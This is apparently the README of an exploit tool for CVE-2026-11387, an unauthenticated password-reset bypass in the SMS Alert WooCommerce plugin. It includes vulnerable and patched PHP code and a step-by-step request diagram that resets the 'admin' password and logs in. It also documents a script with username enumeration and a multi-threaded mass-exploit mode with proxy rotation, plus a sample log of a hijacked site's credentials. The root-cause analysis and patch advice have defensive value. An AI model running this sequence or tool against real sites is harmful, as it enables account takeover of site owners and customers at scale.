
Exploits unauthenticated privilege escalation in SMS Alert WooCommerce plugin (CVE-2026-11387) via OTP bypass and arbitrary password reset, with username enumeration and multi-threaded scanning.
☆ Unauthenticated Privilege Escalation via Arbitrary Password Reset ☆
=== Beelze ===
| Field | Details |
|---|---|
| CVE ID | CVE-2026-11387 |
| CVSS Score | 9.8 Critical |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Type | Missing Authentication / OTP Bypass |
| Plugin | SMS Alert – OTP Verification for WooCommerce (sms-alert) |
| Affected | ≤ 3.9.5 |
| Patched | 3.9.6 |
| Published | 2026 |
| PoC | Beelze |
SMS Alert – OTP Verification for WooCommerce ≤ 3.9.5 is vulnerable to Unauthenticated Privilege Escalation via an arbitrary password reset. The plugin's password-reset handler validates the reset action exclusively by checking $_REQUEST['option'] for the string smsalert-change-password-form, without verifying that the OTP challenge was ever completed.
A critical race condition in the session-seeding mechanism allows an attacker to hijack any account in two HTTP requests:
user_login — this triggers smsalert_site_challenge_otp() which seeds $_SESSION['user_login'] without any OTP being validated.option=smsalert-change-password-form with a chosen new password — routeData() reads the pre-seeded $_SESSION['user_login'] and calls reset_password() unconditionally.Impact: Full unauthenticated account takeover of any user whose billing phone is registered. Attacker gains persistent access with the victim's role and privileges.
// sms-alert/smsalert.php
add_action( 'wp_ajax_nopriv_smsalert_reset_otp', [ $this, 'smsalert_site_challenge_otp' ] );
add_action( 'wp_ajax_nopriv_smsalert_change_password', [ $this, 'routeData' ] );
// handler/forms/class-wpresetpassword.php
public function smsalert_site_challenge_otp() {
$user_login = sanitize_text_field( $_REQUEST['user_login'] );
$user = get_user_by( 'login', $user_login )
?: get_user_by( 'email', $user_login );
if ( $user ) {
// ❌ $_SESSION['user_login'] is set HERE — before OTP verification
$_SESSION['user_login'] = $user->user_login;
$_SESSION['smsalert_otp'] = $this->generate_otp();
$_SESSION[self::SESSION_VAR] = 'otp_sent'; // NOT 'validated'
$this->send_otp( $user );
}
}
// handler/forms/class-wpresetpassword.php
public function routeData() {
$option = sanitize_text_field( $_REQUEST['option'] ?? '' );
if ( $option === 'smsalert-change-password-form' ) {
// ❌ MISSING: if ( $_SESSION[self::SESSION_VAR] !== 'validated' ) { return; }
$this->reset_password();
}
}
// handler/forms/class-wpresetpassword.php
private function reset_password() {
$user_login = $_SESSION['user_login'] ?? ''; // poisoned by smsalert_site_challenge_otp()
$new_pass = sanitize_text_field( $_REQUEST['smsalert_user_newpwd'] );
$confirm = sanitize_text_field( $_REQUEST['smsalert_user_cnfpwd'] );
if ( $new_pass !== $confirm || empty( $user_login ) ) { return; }
$user = get_user_by( 'login', $user_login );
if ( $user ) {
wp_set_password( $new_pass, $user->ID ); // ✅ password changed — no OTP required
wp_redirect( add_query_arg( 'password_reset', 'true', wp_login_url() ) );
exit;
}
}
// handler/forms/class-wpresetpassword.php (fixed)
public function routeData() {
$option = sanitize_text_field( $_REQUEST['option'] ?? '' );
if ( $option === 'smsalert-change-password-form' ) {
// ✅ FIXED: OTP must be validated before reset is allowed
if ( ( $_SESSION[self::SESSION_VAR] ?? '' ) !== 'validated' ) {
wp_die( 'OTP verification required.' );
}
$this->reset_password();
}
}
Attacker (no auth)
│
│ POST /my-account/lost-password/
│ body: user_login=admin
▼
┌─────────────────────────────────────────┐
│ smsalert_site_challenge_otp() │
│ → $_SESSION['user_login'] = 'admin' │ ← session poisoned 💀
│ → $_SESSION[SESSION_VAR] = 'otp_sent' │
│ → OTP sent to victim's phone │
│ (attacker never sees the OTP) │
└─────────────────────────────────────────┘
│
│ POST /my-account/lost-password/
│ body: option=smsalert-change-password-form
│ smsalert_user_newpwd=Pwned123!
│ smsalert_user_cnfpwd=Pwned123!
▼
┌─────────────────────────────────────────┐
│ routeData() │
│ → checks $_REQUEST['option'] only │
│ → SESSION_VAR check: SKIPPED ❌ │
│ → reset_password() called │
│ → wp_set_password('admin', newpwd) │ ← password changed 😈
└─────────────────────────────────────────┘
│
│ POST /wp-login.php
│ log=admin pwd=Pwned123!
▼
┌─────────────────────────────────────────┐
│ Login SUCCESS │
│ wordpress_logged_in_* cookie set │ ← TAKEOVER CONFIRMED 💀
└─────────────────────────────────────────┘
# Single target exploit
python CVE-2026-11387.py
# → Mode 1, enter target URL + username
# Username enumeration only
python CVE-2026-11387.py
# → Mode 2
# Mass exploit (multi-threaded + proxy rotation)
python CVE-2026-11387.py
# → Mode 3, targets.txt, threads, proxy file
# Fingerprint only (no exploit)
python CVE-2026-11387.py
# → Mode 4, outputs CSV
Exploit Phases:
Phase 1 — Reachability check + HTTP fallback
Phase 2 — Version fingerprint via readme.txt
Phase 3 — Username enumeration (REST API / sitemap / author archive)
Phase 4 — OTP challenge trigger (session poisoning)
Phase 5 — Password reset via routeData() bypass
Phase 6 — Login verification (wordpress_logged_in_* cookie)
Sample output (scan_results/CVE-2026-11387_success.txt):
[2026-07-03 12:00:00] SITE=https://target.com | user=admin | pass=Tmp_P0c_2026!Aa
Update SMS Alert to version 3.9.6 or newer.
[Beelze] — for educational and authorized security research only